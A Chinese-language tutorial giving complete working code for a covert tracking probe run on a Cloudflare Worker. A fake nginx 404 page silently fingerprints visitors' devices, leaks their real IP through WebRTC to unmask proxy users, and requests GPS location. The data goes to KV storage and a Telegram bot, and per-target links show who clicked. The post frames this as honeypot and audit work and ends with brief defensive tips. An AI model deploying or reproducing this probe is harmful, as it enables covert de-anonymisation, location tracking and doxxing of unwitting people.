无服务器架构下的 Web 遥测与访客指纹分析:基于 Cloudflare Worker 单服务全托管的实战重构

前言

做蜜罐、流量测绘或者做点简单的安全审计,免不了要对进来的请求做设备指纹分析。最早期我搭这套东西的时候,因为手里没有可用域名,拿 Netlify 做前端和反代,把数据重写给 workers.dev,再由 Worker 调 Telegram 推送。

这套三层架构能跑,但用久了毛病不少:Netlify 特征太明显,workers.dev 在国内网络环境动不动就抽风,中间多绕了一层转发,定位和某些高阶 API 在非同源反代下还会遇到奇奇怪怪的权限问题。

现在手里有了域名,直接把中间商踢掉,用一个 Cloudflare Worker 承担全套功能——既当伪装页服务端,又当数据接收端,还顺带把后台管理和持久化存储一块包圆。这篇文章把重构后的 v2 版本完整梳理一遍,顺带聊聊一些少有人注意到的指纹采集细节。


系统架构

现在的架构缩减成了单 Worker 全托管。

[访客浏览器] 
    │ 
    ├── GET /           ──>  返回伪装的 Nginx 404 页面(内嵌探针 JS)
    ├── POST /api       ──>  数据接收、特征融合、VPN 判定、写入 KV
    │                        └── 异步向 Telegram Bot 推送结构化告警
    ├── GET /login      ──>  后台管理鉴权
    └── GET /admin      ──>  渠道管理、数据看板、导出 JSON

和旧方案相比,最大的变化有三个:

第一,链路纯同源。浏览器请求页面、提交 /api 全在同一个自定义域名下,没有任何跨域协商,CSP 和安全上下文也是完整的。

第二,善用边缘节点元数据(request.cf)。过去很多地理位置和 ASN 依赖第三方接口(比如 ipapi.co),经常因为超时拖慢整体响应。Cloudflare 在请求到达边缘时,本身就挂载了大量现成的连接属性(ASN、归属机构、TLS 版本、Cipher 套件、HTTP 协议版本、Colo 节点等),这些信息直接在服务端读取,前端连伪造的机会都没有。

第三,存储与去重持久化。早期版本用内存 Map 做 IP 去重,Worker 实例一重启或者跨节点调度缓存就丢。现在直接挂 Cloudflare KV,设置 TTL 做时间窗口去重,同一 IP 在设定的窗口期内只推一次,同时全量日志归档进 KV 供后台检索。


核心实现

1. 前端伪装与特征采集

前端依旧维持最朴素的 Nginx 404 Not Found 样式。探针脚本在页面加载时按「先同步特征、后异步耗时、最后按需申请高敏感权限」的顺序执行。这样就算访客察觉不对立刻关掉页面,核心设备指纹和真实 IP 也已经发出去了。

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>404 Not Found</title>
<style>
body{background:#f1f1f1;color:#333;text-align:center;padding-top:110px;font-family:Arial,Helvetica,sans-serif;margin:0}
h1{font-size:64px;color:#666;margin:0}
p{font-size:18px;color:#999;margin:12px 0}
hr{width:300px;border:1px solid #ddd;margin:30px auto}
address{color:#bbb;font-size:13px;font-style:normal}
</style>
</head>
<body>
<h1>404</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>nginx/1.18.0</address>
<script>
var q = new URLSearchParams(location.search);
var ch = q.get('ch') || '';
var ref = q.get('ref') || '';

var uuid = localStorage.getItem('probe_uuid');
var isReturn = !!uuid;
if (!uuid) {
  uuid = crypto.randomUUID ? crypto.randomUUID() : ('u' + Date.now() + Math.random().toString(36).slice(2));
  try { localStorage.setItem('probe_uuid', uuid); } catch(e) {}
}
var enterTs = Date.now();

function send(evt, payload) {
  payload = payload || {};
  var body = { uuid: uuid, ch: ch, ref: ref, evt: evt, t: Date.now() };
  for (var k in payload) body[k] = payload[k];
  var s = JSON.stringify(body);
  try {
    if (navigator.sendBeacon) {
      var ok = navigator.sendBeacon('/api', new Blob([s], { type: 'application/json' }));
      if (ok) return;
    }
    fetch('/api', { method: 'POST', headers: { 'content-type': 'application/json' }, body: s, keepalive: true });
  } catch(e) {}
}

function fnv1a(str) {
  var h = 0x811c9dc5;
  for (var i = 0; i < str.length; i++) { h ^= str.charCodeAt(i); h = (h * 0x01000193) >>> 0; }
  return h.toString(16);
}

// Canvas 渲染指纹
function canvasHash() {
  try {
    var c = document.createElement('canvas'); c.width = 240; c.height = 60;
    var x = c.getContext('2d'); x.textBaseline = 'top'; x.font = '14px Arial';
    x.fillStyle = '#f60'; x.fillRect(0, 0, 240, 60);
    x.fillStyle = '#069'; x.fillText('Probe Fingerprint Test 0123456789', 4, 18);
    x.fillStyle = 'rgba(102,204,0,0.7)'; x.fillText('Font Render Check', 4, 40);
    return fnv1a(c.toDataURL().slice(0, 400));
  } catch(e) { return ''; }
}

// WebGL 与 GPU 渲染器
function gpuInfo() {
  try {
    var c = document.createElement('canvas');
    var gl = c.getContext('webgl') || c.getContext('experimental-webgl');
    if (!gl) return '';
    var ext = gl.getExtension('WEBGL_debug_renderer_info');
    return ext ? (gl.getParameter(ext.UNMASKED_RENDERER_WEBGL) || '') : (gl.getParameter(gl.RENDERER) || '');
  } catch(e) { return ''; }
}

// WebRTC 穿透(改用国内 STUN,避免 Google STUN 在国内被墙导致获取失败)
function getRtc(cb) {
  var done = false;
  function finish(v) { if (!done) { done = true; cb(v || ''); } }
  try {
    var pc = new RTCPeerConnection({ iceServers: [{ urls: ['stun:stun.qq.com:3478', 'stun:stun.miwifi.com:3478'] }] });
    var t = setTimeout(function() { finish(''); }, 2000);
    pc.createDataChannel('');
    pc.createOffer().then(function(d) { pc.setLocalDescription(d); }).catch(function() {});
    pc.onicecandidate = function(e) {
      if (!e.candidate) return;
      var c = e.candidate.candidate || '';
      var parts = c.split(' ');
      var ip = parts[4] || '';
      var typ = parts[7] || '';
      if (typ === 'srflx' && /^(\d{1,3}\.){3}\d{1,3}$/.test(ip)) {
        clearTimeout(t); finish(ip); try { pc.close(); } catch(e2) {}
      }
    };
  } catch(e) { finish(''); }
}

// 提取 UA 里的具体机型兜底
function getModelFromUA() {
  try {
    var ua = navigator.userAgent;
    var m = ua.match(/\(([^)]*iPhone[^)]*)\)/);
    if (m) return m[1].split(';')[0].trim();
    var m3 = ua.match(/;\s*([^;)]+)\s+Build\//);
    if (m3) return m3[1].trim();
  } catch(e) {}
  return '';
}

// 同步采集最基础的硬件与环境指纹
function collectSync() {
  var s = window.screen, co = navigator.connection;
  var pointer = (window.matchMedia && window.matchMedia('(pointer:coarse)').matches) ? 'coarse' : 'fine';
  return {
    ua: navigator.userAgent,
    platform: navigator.platform,
    model: getModelFromUA(),
    lang: navigator.language || '',
    langs: (navigator.languages || []).join(','),
    cores: navigator.hardwareConcurrency || '',
    mem: navigator.deviceMemory || '',
    timezone: Intl.DateTimeFormat().resolvedOptions().timeZone || '',
    touch: (navigator.maxTouchPoints > 0 ? 'coarse' : 'fine') + '/' + pointer,
    colorDepth: s.colorDepth,
    pixelRatio: window.devicePixelRatio || '',
    screen: s.width + 'x' + s.height,
    orientation: (s.orientation && s.orientation.type) || '',
    netType: co ? (co.effectiveType || '') : '',
    netDownlink: co ? (co.downlink || '') : '',
    online: navigator.onLine ? '1' : '0',
    cookie: navigator.cookieEnabled ? '1' : '0',
    gpu: gpuInfo(),
    cvs: canvasHash(),
    ref_url: document.referrer || ''
  };
}

// 第一阶段:首屏特征立即发
send('page_view', collectSync());
if (isReturn) send('return_visit', {});

// 第二阶段:WebRTC 穿透与 Client Hints 精确机型识别
getRtc(function(rip) { send('rtc', { rtc_ip: rip }); });

if (navigator.userAgentData && navigator.userAgentData.getHighEntropyValues) {
  navigator.userAgentData.getHighEntropyValues(['model', 'platformVersion']).then(function(h) {
    if (h.model) send('model', { model: h.model, platformVersion: h.platformVersion || '' });
  }).catch(function() {});
}

// 第三阶段:延时 1 秒后尝试申请地理位置(GPS)
setTimeout(function() {
  if (!navigator.geolocation) return;
  navigator.geolocation.getCurrentPosition(function(pos) {
    var c = pos.coords;
    send('geo_grant', { lat: c.latitude, lng: c.longitude, acc: Math.round(c.accuracy) });
  }, function(err) {
    send('geo_deny', { reason: err && err.code });
  }, { timeout: 8000, maximumAge: 60000 });
}, 1000);

window.addEventListener('pagehide', function() { send('stay_time', { dur: Date.now() - enterTs }); });
</script>
</body>
</html>

2. Worker 边缘服务端处理

Worker 端不仅要处理数据的落库和推送,还要承担起多维度的异常检测逻辑:比如把 WebRTC 挖出来的真实私网/公网 IP 和 HTTP 连接层 IP 做比对,判断访客是否挂了代理;比对 GPS 坐标和 Cloudflare 提供的 IP 坐标距离,识别虚拟定位与改机行为。

const ADMIN_PASSWORD = 'your_admin_password';
const DEDUP_TTL = 30; // 相同 IP 在 30 秒内只推一次,防止连续刷新刷屏

export default {
  async fetch(request, env, ctx) {
    const url = new URL(request.url);
    const p = url.pathname;
    const m = request.method.toUpperCase();

    if (p === '/api' && m === 'POST') return handleApi(request, env, ctx);
    if (p === '/login') return handleLogin(request, env);
    if (p === '/admin') return handleAdmin(request, env);
    if (p === '/admin/api') return handleAdminApi(request, env, url);
    if (p === '/' || p === '/index.html') return new Response(LANDING_HTML, { headers: { 'content-type': 'text/html;charset=utf-8' } });

    return new Response('Not Found', { status: 404 });
  }
};

async function handleApi(request, env, ctx) {
  let body = {};
  try { body = await request.json(); } catch (e) { return new Response('ok'); }

  const http_ip = request.headers.get('CF-Connecting-IP') || '';
  const cf = request.cf || {};
  const evt = body.evt || '';
  const uuid = body.uuid || '';
  const tsNow = Date.now();

  // 融合客户端采集与 Cloudflare 边缘层的底层网络属性
  const rec = Object.assign({}, body, {
    http_ip,
    srv_ts: tsNow,
    cf_asn: cf.asn || '',
    cf_org: cf.asOrganization || '',
    cf_country: cf.country || '',
    cf_city: cf.city || '',
    cf_region: cf.region || '',
    cf_lat: cf.latitude || '',
    cf_lng: cf.longitude || '',
    cf_tls: cf.tlsVersion || '',
    cf_cipher: cf.tlsCipher || '',
    cf_http: cf.httpProtocol || ''
  });

  // 异步写入 KV 归档,完全不阻塞当前 HTTP 响应
  ctx.waitUntil((async () => {
    try {
      await env.PROBE_KV.put(`r:${tsNow}:${uuid}:${evt}`, JSON.stringify(rec));
    } catch (e) {}
  })());

  // 区分事件流进行 Telegram 推送
  if (evt === 'page_view') ctx.waitUntil(pageViewFlow(rec, env));
  else if (evt === 'rtc') ctx.waitUntil(rtcFlow(rec, env));
  else if (evt === 'model') ctx.waitUntil(modelFlow(rec, env));
  else if (evt === 'geo_grant') ctx.waitUntil(geoFlow(rec, env));

  return new Response('ok');
}

// 基于半正矢公式(Haversine)计算 GPS 与 IP 归属地距离,判定虚拟定位
function haversine(lat1, lng1, lat2, lng2) {
  if (!lat1 || !lng1 || !lat2 || !lng2) return -1;
  const a1 = parseFloat(lat1), o1 = parseFloat(lng1), a2 = parseFloat(lat2), o2 = parseFloat(lng2);
  const R = 6371;
  const dLat = (a2 - a1) * Math.PI / 180;
  const dLng = (o2 - o1) * Math.PI / 180;
  const h = Math.sin(dLat / 2) ** 2 + Math.cos(a1 * Math.PI / 180) * Math.cos(a2 * Math.PI / 180) * Math.sin(dLng / 2) ** 2;
  return 2 * R * Math.asin(Math.sqrt(h));
}

async function pageViewFlow(rec, env) {
  // IP 级别限频
  const dedupKey = `dedup:ip:${rec.http_ip}`;
  if (await env.PROBE_KV.get(dedupKey)) return;
  await env.PROBE_KV.put(dedupKey, '1', { expirationTtl: DEDUP_TTL });

  const label = rec.ref || rec.ch || '默认渠道';
  const lines = [
    '🎯 新访客接入',
    `⏰ ${new Date(rec.srv_ts).toLocaleString('zh-CN', { timeZone: 'Asia/Shanghai' })}`,
    `🏷 渠道:${label}`,
    `🆔 访客ID:${rec.uuid}`,
    `🌐 出口IP:${rec.http_ip}`,
    `🗺 归属:${[rec.cf_country, rec.cf_region, rec.cf_city].filter(Boolean).join(' · ')}`,
    `🏢 运营商:${rec.cf_org} (ASN: ${rec.cf_asn})`,
    `🔐 握手:${rec.cf_tls} / ${rec.cf_cipher} (${rec.cf_http})`,
    `📱 设备:${rec.platform}${rec.model ? ' · ' + rec.model : ''}`,
    `🖥 分辨率:${rec.screen} (DPR: ${rec.pixelRatio})`,
    `🧠 硬件:${rec.cores} 核 / ${rec.mem ? rec.mem + 'GB' : '未知'} 内存`,
    `🔧 GPU:${rec.gpu || '未知'}`,
    `🩻 Canvas指纹:${rec.cvs || '未知'}`,
    `🔗 来源:${rec.ref_url || '直接访问'}`
  ];

  await tgSend(env, lines.join('\n'));
}

async function rtcFlow(rec, env) {
  if (rec.rtc_ip && rec.rtc_ip !== rec.http_ip) {
    const label = rec.ref || rec.ch || '默认渠道';
    await tgSend(env, `🕵️ 疑似代理 / WebRTC 泄露真实IP\n🏷 渠道:${label}\n🌐 出口IP:${rec.http_ip}\n🔓 真实IP:${rec.rtc_ip}`);
  }
}

async function geoFlow(rec, env) {
  const dist = haversine(rec.cf_lat, rec.cf_lng, rec.lat, rec.lng);
  let warning = '';
  if (dist > 200) {
    warning = `\n⚠️ 疑似虚拟定位:GPS 与出口 IP 距离偏离达 ${Math.round(dist)} 公里`;
  }
  await tgSend(env, `📍 已获取精准定位\n🏷 渠道:${rec.ref || rec.ch || '默认'}\n🌐 IP:${rec.http_ip}\n📐 GPS:${rec.lat}, ${rec.lng}\n🎯 精度:${rec.acc} 米${warning}\n🗺 地图:https://maps.google.com/?q=${rec.lat},${rec.lng}`);
}

async function tgSend(env, text) {
  if (!env.TG_BOT_TOKEN || !env.TG_CHAT_ID) return;
  try {
    await fetch(`https://api.telegram.org/bot${env.TG_BOT_TOKEN}/sendMessage`, {
      method: 'POST',
      headers: { 'content-type': 'application/json' },
      body: JSON.stringify({ chat_id: env.TG_CHAT_ID, text: text, disable_web_page_preview: true })
    });
  } catch (e) {}
}

几个关键的技术细节

1. 为什么 STUN 服务器不能用 Google 的?

很多早期的 WebRTC 穿透教程喜欢抄 stun:stun.l.google.com:19302。在国际网络下没问题,但在国内环境,Google 的 STUN 节点基本全被干扰,导致建立连接直接超时,一次都拿不到内网/真实 IP。改用腾讯或小米的公开 STUN 服务(stun:stun.qq.com:3478、stun:stun.miwifi.com:3478),直连稳定,200 毫秒内就能完成 candidate 交换。

2. HTTPS 与安全上下文对指纹质量的决定性影响

很多人部署探针为了省事只开了 HTTP。现代浏览器(特别是 Chrome 和 Safari)对非安全上下文做了极其严苛的降级处理:

  • crypto.randomUUID() 无法使用;
  • navigator.deviceMemory 直接返回 undefined;
  • navigator.mediaDevices 整个对象被隐藏,连摄像头和麦克风的数量都数不出来;
  • navigator.geolocation 连系统授权弹窗都不会出,直接静默抛出 PERMISSION_DENIED。

探针必须运行在 HTTPS 下。在 Cloudflare 后台开启 Always Use HTTPS,让所有流量强制走边缘 TLS 证书,这些高价值 API 才会全部正常工作。

3. 渠道参数(Channel Tracking)的实战价值

把同一个探针部署出去,如果只看总日志,很难区分流量来源。在 URL 后追加 ?ch=xxx&ref=目标名称,Worker 在接收时绑定渠道标签并存入 KV。这样可以在后台为不同目标生成独立的专属追踪链接,Telegram 告警里一目了然是谁点了链接。


防御与反制

了解了攻击面与指纹收集的实现,作为防御者如何隐藏自己的设备痕迹?

  1. 切断 WebRTC 泄露渠道:在支持的浏览器配置中禁用 WebRTC(如 Firefox 设置 media.peerconnection.enabled = false),或者使用专门的 WebRTC 阻断插件。这样无论挂不挂代理,都不会通过 UDP 探测暴露真实接口地址。
  2. 警惕来源不明页面的系统权限申请:一个静态 404 页面或普通文本页如果突然弹出「获取位置信息」或「使用摄像头」的授权请求,基本可以 100% 定性为指纹探测行为,直接拒绝并关闭标签页即可。
  3. 启用浏览器防指纹保护:使用 Firefox 的 Enhanced Tracking Protection(严格模式),或者借助 Brave / Tor 浏览器。这些浏览器会对 Canvas、WebGL 输出注入微小的随机噪声(Noise Injection),或者把硬件并发数、屏幕分辨率等特征归一化,使得跨站指纹比对算法无法生成稳定的哈希。